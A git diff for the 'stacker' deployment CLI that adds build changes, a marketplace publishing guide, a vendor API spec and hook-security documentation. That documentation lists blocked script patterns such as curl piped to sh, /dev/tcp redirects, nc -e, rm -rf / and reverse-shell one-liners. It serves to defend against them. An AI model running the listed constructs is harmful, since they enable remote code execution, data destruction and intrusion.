diff --git a/.claude/settings.json b/.claude/settings.json
new file mode 100644
index 00000000..90308884
--- /dev/null
+++ b/.claude/settings.json
@@ -0,0 +1,5 @@
+{
+  "enabledPlugins": {
+    "frontend-design@claude-plugins-official": true
+  }
+}
diff --git a/.gitignore b/.gitignore
index 8ff7ad07..32086046 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,3 +12,8 @@ docs/*.sql
 config-to-validate.yaml
 *.bak
 .claude/settings.local.json
+
+plan/
+.stacker
+done.txt
+post-deploy-ran.txt
diff --git a/Cargo.lock b/Cargo.lock
index 07768711..3df428c6 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5064,6 +5064,70 @@ version = "2.28.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "106dd99e98437432fed6519dedecfade6a06a73bb7b2a1e019fdd2bee5778d94"
 
+[[package]]
+name = "protoc-bin-vendored"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d1c381df33c98266b5f08186583660090a4ffa0889e76c7e9a5e175f645a67fa"
+dependencies = [
+ "protoc-bin-vendored-linux-aarch_64",
+ "protoc-bin-vendored-linux-ppcle_64",
+ "protoc-bin-vendored-linux-s390_64",
+ "protoc-bin-vendored-linux-x86_32",
+ "protoc-bin-vendored-linux-x86_64",
+ "protoc-bin-vendored-macos-aarch_64",
+ "protoc-bin-vendored-macos-x86_64",
+ "protoc-bin-vendored-win32",
+]
+
+[[package]]
+name = "protoc-bin-vendored-linux-aarch_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c350df4d49b5b9e3ca79f7e646fde2377b199e13cfa87320308397e1f37e1a4c"
+
+[[package]]
+name = "protoc-bin-vendored-linux-ppcle_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a55a63e6c7244f19b5c6393f025017eb5d793fd5467823a099740a7a4222440c"
+
+[[package]]
+name = "protoc-bin-vendored-linux-s390_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1dba5565db4288e935d5330a07c264a4ee8e4a5b4a4e6f4e83fad824cc32f3b0"
+
+[[package]]
+name = "protoc-bin-vendored-linux-x86_32"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8854774b24ee28b7868cd71dccaae8e02a2365e67a4a87a6cd11ee6cdbdf9cf5"
+
+[[package]]
+name = "protoc-bin-vendored-linux-x86_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b38b07546580df720fa464ce124c4b03630a6fb83e05c336fea2a241df7e5d78"
+
+[[package]]
+name = "protoc-bin-vendored-macos-aarch_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "89278a9926ce312e51f1d999fee8825d324d603213344a9a706daa009f1d8092"
+
+[[package]]
+name = "protoc-bin-vendored-macos-x86_64"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81745feda7ccfb9471d7a4de888f0652e806d5795b61480605d4943176299756"
+
+[[package]]
+name = "protoc-bin-vendored-win32"
+version = "3.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95067976aca6421a523e491fce939a3e65249bac4b977adee0ee9771568e8aa3"
+
 [[package]]
 name = "pulldown-cmark"
 version = "0.9.6"
@@ -6576,7 +6640,7 @@ checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596"
 
 [[package]]
 name = "stacker"
-version = "0.2.8"
+version = "0.2.9"
 dependencies = [
  "actix",
  "actix-casbin-auth",
@@ -6619,6 +6683,7 @@ dependencies = [
  "prometheus",
  "prost",
  "prost-types",
+ "protoc-bin-vendored",
  "rand 0.8.5",
  "redis",
  "regex",
diff --git a/Cargo.toml b/Cargo.toml
index 1d65b5b2..127ac5df 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -36,7 +36,7 @@ actix = "0.13.5"
 actix-web-actors = "4.3.1"
 chrono = { version = "0.4.39", features = ["serde", "clock"] }
 config = "0.13.4"
-reqwest = { version = "0.11.23", features = ["json", "blocking", "stream"] }
+reqwest = { version = "0.11.23", features = ["json", "blocking", "stream", "native-tls"] }
 serde = { version = "1.0.195", features = ["derive"] }
 tokio = { version = "1.28.1", features = ["full"] }
 tracing = { version = "0.1.40", features = ["log"] }
@@ -118,6 +118,7 @@ indexmap = ["dep:indexmap"]
 explain = ["actix-casbin-auth/explain", "actix-casbin-auth/logging"]
 
 [build-dependencies]
+protoc-bin-vendored = "3"
 tonic-build = "0.11"
 
 [dev-dependencies]
diff --git a/README.md b/README.md
index 3ff2d87c..e25bf70f 100644
--- a/README.md
+++ b/README.md
@@ -160,7 +160,10 @@ The end-user tool. No server required for local deploys.
 | `stacker status` | Show running containers and health |
 | `stacker logs` | View container logs (`--follow`, `--service`, `--tail`) |
 | `stacker secrets` | Manage local `.env` secrets or remote Vault-backed `service` / `server` secrets |
-| `stacker list deployments` | List deployments on the Stacker server |
+| `stacker list deployments` / `stacker deployments` | List deployments on the Stacker server |
+| `stacker list servers` / `stacker servers` | List saved servers |
+| `stacker list clouds` / `stacker clouds` | List saved cloud credentials |
+| `stacker list ssh-keys` / `stacker ssh-keys` | List per-server SSH key status |
 | `stacker destroy` | Tear down the deployed stack |
 | `stacker config validate` | Validate `stacker.yml` syntax |
 | `stacker config show` | Show resolved configuration |
@@ -181,6 +184,8 @@ The end-user tool. No server required for local deploys.
 | `stacker service list` | List available service templates (20+ built-in) |
 | `stacker agent health` | Check Status Panel agent connectivity and health |
 | `stacker agent status` | Display agent snapshot — containers, versions, uptime |
+| `stacker agent list apps` / `stacker agent apps` | List apps for the target deployment |
+| `stacker agent list containers` / `stacker agent containers` | List containers on the target server |
 | `stacker agent logs <app>` | Retrieve container logs from the remote agent |
 | `stacker agent restart <app>` | Restart a container via the agent |
 | `stacker agent deploy-app` | Deploy or update an app container on the target server. `--runtime kata\|runc` selects container runtime; `--env <name>` selects the deploy environment/profile |
@@ -202,6 +207,7 @@ The end-user tool. No server required for local deploys.
 | `stacker pipe replay <exec-id>` | Re-run a previous pipe execution |
 | `stacker target [local\|cloud\|server]` | Switch deployment target mode |
 | `stacker env [local\|dev\|prod]` | Show or persist the active deploy environment/profile used by app-only updates |
+| `stacker whoami` | Show the active login, subscription plan, and current project deployment context |
 | `stacker submit` | Package current stack and submit to marketplace for review |
 | `stacker marketplace status` | Check submission status for your marketplace templates |
 | `stacker marketplace logs <name>` | Show review comments and history for a submission |
diff --git a/build.rs b/build.rs
index 5577c83a..8d7bcbe8 100644
--- a/build.rs
+++ b/build.rs
@@ -5,8 +5,9 @@ use std::process::Command;
 
 fn main() -> Result<(), Box<dyn std::error::Error>> {
     emit_git_short_hash();
+    configure_protoc()?;
 
-    let proto_includes = collect_proto_include_paths();
+    let proto_includes = collect_proto_include_paths()?;
 
     tonic_build::configure()
         .build_server(false)
@@ -15,9 +16,32 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
     Ok(())
 }
 
-fn collect_proto_include_paths() -> Vec<PathBuf> {
+fn configure_protoc() -> Result<(), Box<dyn std::error::Error>> {
+    if env::var_os("PROTOC").is_none() {
+        env::set_var("PROTOC", protoc_bin_vendored::protoc_bin_path()?);
+    }
+
+    if env::var_os("PROTOC_INCLUDE").is_none() {
+        env::set_var("PROTOC_INCLUDE", protoc_bin_vendored::include_path()?);
+    }
+
+    println!("cargo:rerun-if-env-changed=PROTOC");
+    println!("cargo:rerun-if-env-changed=PROTOC_INCLUDE");
+
+    Ok(())
+}
+
+fn collect_proto_include_paths() -> Result<Vec<PathBuf>, Box<dyn std::error::Error>> {
     let mut includes = vec![PathBuf::from("proto")];
 
+    let vendored_include = PathBuf::from(protoc_bin_vendored::include_path()?);
+    if vendored_include
+        .join("google/protobuf/struct.proto")
+        .exists()
+    {
+        includes.push(vendored_include);
+    }
+
     for candidate in [
         PathBuf::from("/usr/include"),
         PathBuf::from("/usr/local/include"),
@@ -28,7 +52,7 @@ fn collect_proto_include_paths() -> Vec<PathBuf> {
         }
     }
 
-    includes
+    Ok(includes)
 }
 
 fn emit_git_short_hash() {
diff --git a/configuration.yaml.dist b/configuration.yaml.dist
index 01a237c5..57f2bd36 100644
--- a/configuration.yaml.dist
+++ b/configuration.yaml.dist
@@ -71,6 +71,10 @@ connectors:
 #   USER_SERVICE_AUTH_TOKEN, PAYMENT_SERVICE_AUTH_TOKEN
 #   STACKER_AUTH_REQUEST_TIMEOUT_SECS, STACKER_AUTH_CONNECT_TIMEOUT_SECS
 #   DEFAULT_DEPLOY_DIR - Base directory for deployments (default: /home/trydirect)
+#   STACKER_PAYOUT_PROVIDER=mock|stripe_connect
+#   STRIPE_SECRET_KEY or PAYOUT_STRIPE_SECRET_KEY
+#   STRIPE_WEBHOOK_SECRET or PAYOUT_STRIPE_WEBHOOK_SECRET
+#   PAYOUT_ONBOARDING_RETURN_URL, PAYOUT_ONBOARDING_REFRESH_URL
 
 # Deployment settings
 # deployment:
@@ -78,6 +82,16 @@ connectors:
 #   # Can also be set via DEFAULT_DEPLOY_DIR environment variable
 #   config_base_path: /home/trydirect
 
+# Vendor payout provider. Defaults to mock for local/dev/test.
+# For production Stripe Connect, set provider: stripe_connect and provide STRIPE_SECRET_KEY
+# via environment variable rather than committing it here.
+# payouts:
+#   provider: mock
+#   stripe_api_base_url: https://api.stripe.com
+#   onboarding_return_url: https://stacker.try.direct/marketplace/vendor/onboarding/return
+#   onboarding_refresh_url: https://stacker.try.direct/marketplace/vendor/onboarding/refresh
+#   timeout_secs: 15
+
 # Marketplace asset storage (Hetzner Object Storage / S3-compatible)
 # marketplace_assets:
 #   enabled: true
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7eef27e2..703bdb8f 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -42,6 +42,9 @@ services:
       # Vault — must point to the real Vault service in the TryDirect network
       - VAULT_ADDRESS=https://vault.try.direct
       - VAULT_TOKEN=${STACKER_VAULT_TOKEN:-change-me}
+      # mTLS client cert for Vault — inline PEMs
+      - VAULT_CLIENT_CERT=${VAULT_CLIENT_CERT:-}
+      - VAULT_CLIENT_KEY=${VAULT_CLIENT_KEY:-}
     depends_on:
       stackerdb:
         condition: service_healthy
diff --git a/docker/dev/docker-compose.yml b/docker/dev/docker-compose.yml
index ea7ee0d7..1f9051fe 100644
--- a/docker/dev/docker-compose.yml
+++ b/docker/dev/docker-compose.yml
@@ -1,5 +1,3 @@
-version: "2.2"
-
 volumes:
   stackerdb:
     driver: local
@@ -8,30 +6,28 @@ volumes:
     driver: local
 
 networks:
-  backend:
+  trydirect_default:
     driver: bridge
-    name: backend
     external: true
   trydirect-network:
     external: true
     name: trydirect-network
 
-
 services:
-
   stacker:
-    image: trydirect/stacker:0.0.8
-    build: .
+    image: trydirect/stacker:latest
+    #image: trydirect/stacker:test
     container_name: stacker
     restart: always
     volumes:
       - ./stacker/files:/app/files
+      - ./.env:/app/.env
       - ./configuration.yaml:/app/configuration.yaml
       - ./access_control.conf:/app/access_control.conf
       - ./migrations:/app/migrations
-      - ./.env:/app/.env
+      - ./stacker/ansible:/ansible/roles:ro
     ports:
-      - "8000:8000"
+      - "8001:8000"
     env_file:
       - ./.env
     environment:
@@ -41,12 +37,12 @@ services:
       stackerdb:
         condition: service_healthy
     networks:
-      - backend
+      - trydirect_default
 
-
-  stacker_queue:
-    image: trydirect/stacker:0.0.7
-    container_name: stacker_queue
+  stackermq:
+    image: trydirect/stacker:latest
+    #image: trydirect/stacker:test  # for testing mcp
+    container_name: stackermq
     restart: always
     volumes:
       - ./configuration.yaml:/app/configuration.yaml
@@ -54,10 +50,6 @@ services:
     environment:
       - RUST_LOG=debug
       - RUST_BACKTRACE=1
-      - AMQP_HOST=rabbitmq
-      - AMQP_PORT=5672
-      - AMQP_USERNAME=guest
-      - AMQP_PASSWORD=guest
     env_file:
       - ./.env
     depends_on:
@@ -65,9 +57,7 @@ services:
         condition: service_healthy
     entrypoint: /app/console mq listen
     networks:
-      - backend
-      - trydirect-network
-
+      - trydirect_default
 
   stackerdb:
     container_name: stackerdb
@@ -76,17 +66,17 @@ services:
       interval: 10s
       timeout: 5s
       retries: 5
-    image: postgres:18.3
+    image: postgres:16.0
     restart: always
     ports:
-      - 5432
+      - 5434:5432
     env_file:
       - ./.env
     volumes:
       - stackerdb:/var/lib/postgresql/data
       - ./postgresql.conf:/etc/postgresql/postgresql.conf
     networks:
-      - backend
+      - trydirect_default
 
   stackerredis:
     container_name: stackerredis
@@ -105,5 +95,5 @@ services:
       options:
         max-size: "10m"
         tag: "container_{{.Name}}"
-
-
+    networks:
+      - trydirect_default
diff --git a/docs/MARKETPLACE_PUBLISH.md b/docs/MARKETPLACE_PUBLISH.md
new file mode 100644
index 00000000..5fcc6fd3
--- /dev/null
+++ b/docs/MARKETPLACE_PUBLISH.md
@@ -0,0 +1,288 @@
+# Publishing a Stack to the TryDirect Marketplace
+
+This guide walks creators through publishing a stack to the TryDirect marketplace
+so other users can deploy it in one click and you earn on every sale.
+
+---
+
+## Table of Contents
+
+- [Who this is for](#who-this-is-for)
+- [What you get](#what-you-get)
+- [Two ways to publish](#two-ways-to-publish)
+- [Path A: Publish from Stack Builder (UI)](#path-a-publish-from-stack-builder-ui)
+- [Path B: Publish from CLI (stacker.yml)](#path-b-publish-from-cli-stackeryml)
+- [Required metadata](#required-metadata)
+- [Pricing options](#pricing-options)
+- [The review process](#the-review-process)
+- [After approval](#after-approval)
+- [Updating a published template](#updating-a-published-template)
+- [Common rejection reasons](#common-rejection-reasons)
+- [FAQ](#faq)
+
+---
+
+## Who this is for
+
+You should publish to the marketplace if you have a working Docker Compose stack
+or `stacker.yml` that:
+
+- Solves a clear business problem (e.g. "Internal AI Helpdesk", "RAG Knowledge Base")
+- Wires multiple services together so buyers don't have to (database + cache + app + LLM, etc.)
+- Has been tested end-to-end on at least one cloud provider
+
+Single-container stacks are accepted but multi-service bundles consistently
+outperform them in deployments and revenue.
+
+---
+
+## What you get
+
+- **75% revenue share** on every paid deployment, including subscription renewals
+- **Monthly Net-30 payouts** via Stripe Connect or PayPal (minimum $50)
+- Automatic marketplace promotion: SEO landing page at `/applications/<slug>`,
+  inclusion in weekly digests, "Trending" badge if your template gains traction
+- A "Deploy with TryDirect" badge you can embed in your GitHub README
+- Public deploy count and creator profile
+
+Full payout terms: see `config/docs/MARKETPLACE_PAYOUT_TERMS.md`.
+
+---
+
+## Two ways to publish
+
+| Path | Best for | Effort |
+|---|---|---|
+| **Stack Builder (UI)** | Stacks you built visually inside TryDirect | Click "Publish to Marketplace" |
+| **stacker.yml (CLI)** | Stacks defined in your own repo | `stacker publish` |
+
+Both paths produce the same `StackTemplate` record and follow the same review
+process. Pick whichever fits how you author your stack.
+
+---
+
+## Path A: Publish from Stack Builder (UI)
+
+1. Open your stack in **Stack Builder** at `/builder`.
+2. Verify it deploys cleanly to a test server.
+3. Click **Publish to Marketplace** in the project sidebar.
+4. Fill in the publish form:
+   - **Name** — a business-oriented name, not just tech ("Client AI Agent Workspace", not "n8n+Qdrant+Ollama")
+   - **Short description** — one sentence: what problem does it solve?
+   - **Long description** — markdown supported; cover use cases, requirements, customisation
+   - **Category** — AI Agents, Data Pipelines, SaaS Starter, Dev Tools, etc.
+   - **Tags** — `n8n`, `qdrant`, `ollama`, `supabase`, `postgres`, etc.
+   - **License / pricing** — Free, Paid (one-time), or Subscription
+   - **Price** (if paid) — USD
+   - **Support URL** — GitHub repo, docs site, or contact form
+   - **No-secrets confirmation** — required checkbox: confirms you removed all
+     embedded credentials before submitting
+5. Click **Submit to marketplace**. Your dashboard will show status:
+   `In review` → `Approved` or `Rejected (with reason)`.
+
+---
+
+## Path B: Publish from CLI (stacker.yml)
+
+Add a `marketplace` section to your `stacker.yml`, then run `stacker publish`.
+
+### Example `stacker.yml` marketplace block
+
+```yaml
+name: ai-helpdesk-starter
+version: 1.0.0
+
+# ... your existing app, services, deploy, etc. ...
+
+marketplace:
+  publish: true
+  display_name: "Internal AI Helpdesk"
+  short_description: "Self-hosted AI helpdesk with n8n workflows, Qdrant memory, and Ollama LLM."
+  long_description: |
+    Deploy a complete internal AI helpdesk stack: n8n handles ticket routing
+    and workflow automation, Qdrant stores conversation memory and document
+    embeddings, and Ollama serves the local LLM.
+
+    Comes pre-wired with example workflows for common helpdesk patterns.
+    Customise via the n8n web UI after deployment.
+  category: ai-agents
+  tags:
+    - n8n
+    - qdrant
+    - ollama
+    - helpdesk
+    - rag
+  license: paid
+  pricing:
+    plan_type: one_time   # one_time | subscription | free
+    price: 49
+    currency: USD
+  support_url: https://github.com/your-org/ai-helpdesk-starter
+  no_secrets_confirmation: true
+```
+
+### Submit
+
+```bash
+# From your project root
+stacker publish
+
+# Stacker validates stacker.yml, packages the stack definition,
+# and submits it to the TryDirect marketplace for review.
+```
+
+### Check status
+
+```bash
+stacker publish --status
+
+# Shows: in_review | approved | rejected (with reason)
+```
+
+---
+
+## Required metadata
+
+| Field | Required | Notes |
+|---|---|---|
+| Name | Yes | 5-80 chars, business-oriented |
+| Short description | Yes | 20-200 chars, one sentence |
+| Long description | Yes | Markdown, 100-5000 chars |
+| Category | Yes | Must match an existing category code |
+| Tags | Yes | 1-10 tags |
+| License | Yes | `free`, `paid`, `subscription` |
+| Price | If paid/subscription | USD, > 0 |
+| Support URL | Yes | Public URL where buyers can reach you |
+| No-secrets confirmation | Yes | Must be `true` |
+
+---
+
+## Pricing options
+
+### Free
+No revenue, but full marketplace promotion (SEO page, digest inclusion, trending
+badges). Good for building reputation and audience.
+
+### One-time
+Buyer pays once, deploys as many times as they want for their own use.
+You earn 75% of the sale price. Most templates start here.
+
+### Subscription
+Buyer pays monthly or yearly. You earn 75% of every renewal cycle, not just
+the first sale. Best for templates that ship updates regularly.
+
+You can change pricing on future versions but not retroactively. Buyers of
+v1.0.0 keep their original pricing for that version's lifetime.
+
+---
+
+## The review process
+
+| Step | Time | Who |
+|---|---|---|
+| Submission received | Instant | Auto-confirmation email |
+| Initial automated checks | < 1 hour | `stacker.yml` validation, no embedded secrets, no banned services |
+| Manual review | 1-3 business days | TryDirect review team |
+| Decision | — | Approved → live on `/applications`; Rejected → feedback in dashboard |
+
+Reviewers check:
+1. **Deploys cleanly** on a fresh server
+2. **No embedded credentials** in env vars, configs, or volumes
+3. **No insecure defaults** (e.g. `--api.insecure=true`, `0.0.0.0/0` ACLs, hardcoded passwords)
+4. **Metadata accurate** — what the listing claims matches what the stack actually does
+5. **Support URL reachable** — opens to a real GitHub/docs/contact page
+
+---
+
+## After approval
+
+Once approved, several things happen automatically:
+
+- **SEO landing page** generated at `/applications/<your-slug>`
+- **Social post** to TryDirect Twitter/X: "New on TryDirect: <Template> by @<you>"
+- **"You're live!" email** with your sharing kit:
+  - Direct deployment link
+  - Referral link (tracks deployments and credits earnings)
+  - "Deploy with TryDirect" Markdown badge for your README
+  - Auto-generated OG social card
+- **Inclusion in weekly subscriber digest** for the relevant category
+
+Your dashboard at `/dashboard/marketplace/submissions?tab=earnings` shows real-time:
+- Deploy count
+- Gross sales
+- Your share (75%)
+- Pending payout
+- Paid history
+
+---
+
+## Updating a published template
+
+To publish a new version:
+
+**UI:** Open the stack in Stack Builder, make changes, click **Publish new version**.
+
+**CLI:**
+```bash
+# Bump the version in stacker.yml first
+stacker publish
+```
+
+Each version goes through review. While a new version is under review, the
+previous approved version remains live.
+
+Existing buyers automatically get access to all future versions — they don't
+re-purchase.
+
+---
+
+## Common rejection reasons
+
+| Reason | Fix |
+|---|---|
+| Embedded secrets | Replace hardcoded credentials with env vars; use `${VAR}` interpolation |
+| Insecure defaults | Disable insecure flags (e.g. `--api.insecure=true`); restrict bind addresses; require passwords |
+| Stack doesn't deploy | Test on a fresh server before resubmitting; check `stacker deploy --target local` works clean |
+| Vague metadata | Use a specific business-problem name; describe concrete use cases |
+| Broken support URL | Make sure the link resolves and points to a real support channel |
+| Banned service | Some services aren't allowed (e.g. unconsented crypto miners, malware tools); see `config/docs/MARKETPLACE_ACCEPTABLE_USE.md` |
+
+Rejections include specific feedback in your dashboard. You can revise and
+resubmit without limit.
+
+---
+
+## FAQ
+
+**Q: Can I publish a stack that uses paid third-party services (e.g. OpenAI API)?**  
+A: Yes. The buyer brings their own API keys via env vars during deployment.
+Document required keys in your long description.
+
+**Q: Can I publish a stack that depends on my own SaaS backend?**  
+A: Yes, but the buyer must be able to use it without you having access to their
+deployment. Document the SaaS integration clearly.
+
+**Q: What happens if I want to take a template offline?**  
+A: You can deprecate it any time. Existing buyers keep access; new buyers can
+no longer purchase. Earnings from existing subscriptions continue.
+
+**Q: Can I see who deployed my template?**  
+A: You see deploy count and aggregated stats, never individual buyer emails or
+deployment details (GDPR/privacy).
+
+**Q: How is the 25% platform fee broken down?**  
+A: Payment processing (~3%), marketplace hosting and promotion, review
+operations, ongoing platform development.
+
+**Q: Can I run a discount or promo code?**  
+A: Discount codes are on the roadmap for 2026 H2. Until then, you can change
+your template's base price.
+
+---
+
+## Reference
+
+- `stacker.yml` full reference: `docs/STACKER_YML_REFERENCE.md`
+- Vendor profile API: `docs/vendor-profile-endpoints-spec.md`
+- Payout terms: `config/docs/MARKETPLACE_PAYOUT_TERMS.md`
+- Acceptable use policy: `config/docs/MARKETPLACE_ACCEPTABLE_USE.md`
diff --git a/docs/STACKER_YML_REFERENCE.md b/docs/STACKER_YML_REFERENCE.md
index 44108249..c36c9475 100644
--- a/docs/STACKER_YML_REFERENCE.md
+++ b/docs/STACKER_YML_REFERENCE.md
@@ -20,6 +20,7 @@
   - [type](#proxytype) · [auto_detect](#proxyauto_detect) · [domains](#proxydomains) · [config](#proxyconfig)
 - [deploy — Deployment Target](#deploy)
   - [target](#deploytarget) · [compose_file](#deploycompose_file) · [cloud](#deploycloud) · [server](#deployserver)
+- [install — Marketplace Install Inputs](#install)
 - [ai — AI Assistant](#ai)
 - [monitoring — Health & Metrics](#monitoring)
   - [status_panel](#monitoringstatus_panel) · [healthcheck](#monitoringhealthcheck) · [metrics](#monitoringmetrics)
@@ -621,6 +622,33 @@ deploy:
 
 ---
 
+## `install`
+
+*Optional* · `object` · Default: none
+
+Install-specific inputs used by `stacker install <slug>`. These values are
+merged with CLI flags such as `--domain` and `--set`, then sent to Stacker API
+and Install Service as install render inputs.
+
+```yaml
+install:
+  inputs:
+    commonDomain: example.com
+    admin_email: admin@example.com
+```
+
+`commonDomain` is the Install Service base-domain field. For convenience,
+`base_domain` and the CLI flag `--domain example.com` are normalized to
+`commonDomain`.
+
+CLI overrides take precedence over this section:
+
+```bash
+stacker install wordpress --domain example.com --set admin_email=owner@example.com
+```
+
+---
+
 ## `ai`
 
 *Optional* · `object` · Default: `enabled: false`
@@ -760,7 +788,111 @@ hooks:
   on_failure: ./scripts/alert-team.sh
 ```
 
-> Hook scripts must be executable (`chmod +x`).
+> Hook scripts run under `sh`, not the shebang. Use POSIX shell features or explicitly `exec` a different interpreter from inside the script.
+
+### Execution contract
+
+Everything below is enforced by the CLI at hook execution time, not by convention.
+
+#### Path resolution
+
+- Hook paths are relative to the project directory (the directory containing `stacker.yml`).
+- Absolute paths are **rejected**.
+- Paths containing `..` are **rejected** after canonicalization if the resolved path escapes the project directory.
+- Symlinks that point outside the project directory are **rejected** — the CLI uses `symlink_metadata`, not just `exists()`.
+- Missing scripts are **rejected**, with the resolved path in the error message.
+
+Rejection at the path-resolution stage means the executor is never invoked. Nothing runs.
+
+#### Content validation
+
+Before invocation, the script's contents are scanned against a fixed pattern set for known dangerous constructs. Any `[CRITICAL]` match refuses the hook. Current critical patterns include:
+
+- Remote script execution (`curl … | sh`, `bash <(curl …)`, base64 → shell)
+- Bash TCP/UDP redirects (`/dev/tcp/`, `/dev/udp/`) and `nc -e` / `ncat -e`
+- Recursive delete on root or home (`rm -rf /`, `rm -rf $HOME`, `rm -rf ~/`)
+- `chmod u+s` / `g+s` (setuid / setgid installation)
+- Python or Perl reverse-shell one-liners
+- References to `authorized_keys`, `pastebin.com`, `hastebin.com`
+- Known crypto miner names (xmrig, minerd, etc.)
+- Overly permissive chmod / privileged-container sudo
+
+`[WARNING]` matches (SSH key file references, `kill -9`, base64 blobs over 1 MiB, obfuscated `eval` chains) are logged to stderr but do not block execution.
+
+Scripts larger than 1 MiB are not scanned — the CLI logs a warning and refuses to run them without an explicit opt-in.
+
+#### Trust model
+
+Every loaded `stacker.yml` carries an in-memory `origin` marker derived from the file's leading comment block:
+
+| Origin                  | Marker line (top of file)                       | Default hook behaviour              |
+|-------------------------|-------------------------------------------------|--------------------------------------|
+| `UserAuthored`          | (no `# @stacker-origin: marketplace` present)   | Hooks run                            |
+| `MarketplaceGenerated`  | `# @stacker-origin: marketplace`                | Hooks **refused** unless opted in    |
+
+`stacker install <template>` writes the marker automatically. Delete the marker line after you have reviewed hooks in the file, and the CLI treats the file as user-authored on the next deploy.
+
+#### CLI flags
+
+| Flag                       | Effect                                                                                                |
+|----------------------------|-------------------------------------------------------------------------------------------------------|
+| *(none)*                   | Runs hooks for user-authored files. Refuses hooks for marketplace-generated files.                    |
+| `--allow-untrusted-hooks`  | Runs hooks even when the file carries the marketplace marker. Use only after reviewing every script.  |
+| `--no-hooks`               | Skips every hook regardless of provenance. CI-safe default.                                           |
+
+#### Runtime environment
+
+- `sh <script>` — always interpreted by POSIX `sh` regardless of shebang.
+- Working directory: the project directory.
+- Environment: **cleared**. Only `PATH` and `HOME` are re-exported. Cloud tokens, Docker registry credentials, `GH_TOKEN`, `OPENAI_API_KEY`, etc. **are not visible** to hook scripts. If a hook needs a secret, plumb it through explicitly.
+- Hard timeout: 5 minutes per hook. On timeout the child process is `kill`ed (not merely abandoned).
+- stdout and stderr are captured, ANSI escape sequences are stripped, and the combined output is capped at 1 MiB before being relayed to the terminal or embedded in error messages.
+
+#### Error behaviour
+
+Two distinct outcomes surface differently:
+
+| Cause                                                       | `pre_build`                | `post_deploy`                                                     | `on_failure`                                                             |
+|-------------------------------------------------------------|----------------------------|-------------------------------------------------------------------|--------------------------------------------------------------------------|
+| Path invalid / symlink escape / content critical / untrusted | Deploy **fails**           | Deploy **fails** — rejection is not silently downgraded to a warn | Original deploy error is preserved; rejection is chained into the message |
+| Script exits non-zero at runtime                             | Deploy **fails**           | Warning logged; deploy result stays **Ok**                        | Warning logged; original deploy error preserved                          |
+| Timeout (300 s)                                              | Deploy **fails**           | Warning logged; deploy result stays **Ok**                        | Warning logged; original deploy error preserved                          |
+
+This is a deliberate asymmetry: `pre_build` is a build-gating step, `post_deploy` and `on_failure` are best-effort notifications — but a *security rejection* of any of them is treated as a config-time bug, never a runtime blip.
+
+#### Full example
+
+```yaml
+# @stacker-origin: marketplace
+# Delete the line above once you have reviewed hooks in this file —
+# `stacker deploy` refuses to run hooks while the marker is present.
+
+name: my-app
+
+hooks:
+  pre_build: ./scripts/verify-lockfile.sh
+  post_deploy: ./scripts/warm-cache.sh
+  on_failure: ./scripts/alert-team.sh
+```
+
+Deploying this file without changes:
+
+```console
+$ stacker deploy
+Hook 'pre_build' rejected before execution: this stacker.yml was generated by the marketplace
+and has not been marked trusted. Review the hook script, then either remove the
+'# @stacker-origin: marketplace' marker line from the top of stacker.yml, or re-run with
+--allow-untrusted-hooks. Use --no-hooks to skip all hooks.
+```
+
+Options once you have reviewed the scripts:
+
+```console
+$ stacker deploy --allow-untrusted-hooks      # trust just this run
+$ stacker deploy --no-hooks                    # skip hooks entirely
+$ sed -i '/# @stacker-origin: marketplace/,/# `stacker deploy` refuses/d' stacker.yml
+$ stacker deploy                               # marker gone → file trusted going forward
+```
 
 ---
 
@@ -1625,6 +1757,9 @@ A: Yes. Set `deploy.compose_file: ./docker-compose.yml` and Stacker will use it
 **Q: What cloud providers are supported?**
 A: Hetzner, DigitalOcean, AWS, Linode, and Vultr. You must `stacker login` first and have the appropriate API keys configured in your TryDirect account.
 
+**Q: Can I have more than one agent for a project?**
+A: Yes. A Stacker project can have multiple deployments, and each deployment runs its own Status Panel agent. For example, the same project can have separate staging and production deployments on different servers. When you run agent commands without `--deployment <hash>`, the CLI resolves the target in this order: explicit `--deployment`, local deployment lock, then project name from `stacker.yml` (which resolves to the most recently active deployment). To target a specific agent in a multi-deployment project, pass `--deployment <hash>` explicitly.
+
 ---
 
 ## File Structure
diff --git a/docs/vendor-profile-endpoints-spec.md b/docs/vendor-profile-endpoints-spec.md
new file mode 100644
index 00000000..da9f0b33
--- /dev/null
+++ b/docs/vendor-profile-endpoints-spec.md
@@ -0,0 +1,821 @@
+# Vendor Profile Endpoints Spec
+
+Frontend-facing API reference for vendor profile and vendor page flows.
+
+## Status
+
+- Public vendor page endpoint: implemented
+- Creator vendor profile endpoints: implemented
+- Admin vendor profile endpoint: implemented
+- Creator onboarding flow: provider-backed via `PayoutProvider`
+  - dev/test default: `mock`
+  - production option: `stripe_connect`
+
+---
+
+## Base conventions
+
+### Auth
+
+- Public vendor page endpoint does **not** require authentication
+- Creator endpoints require `Authorization: Bearer <token>`
+- Admin endpoints require an admin-authenticated bearer token
+
+### Response envelope
+
+Most JSON endpoints use this envelope:
+
+```json
+{
+  "message": "OK",
+  "item": {}
+}
+```
+
+Some endpoints return only a message:
+
+```json
+{
+  "message": "Vendor profile updated"
+}
+```
+
+### Common vendor concepts
+
+#### `verification_status`
+Allowed values:
+- `unverified`
+- `pending`
+- `verified`
+- `rejected`
+
+#### `onboarding_status`
+Allowed values:
+- `not_started`
+- `in_progress`
+- `completed`
+
+#### `payout_ready`
+Computed server-side and should be treated as the canonical frontend flag.
+
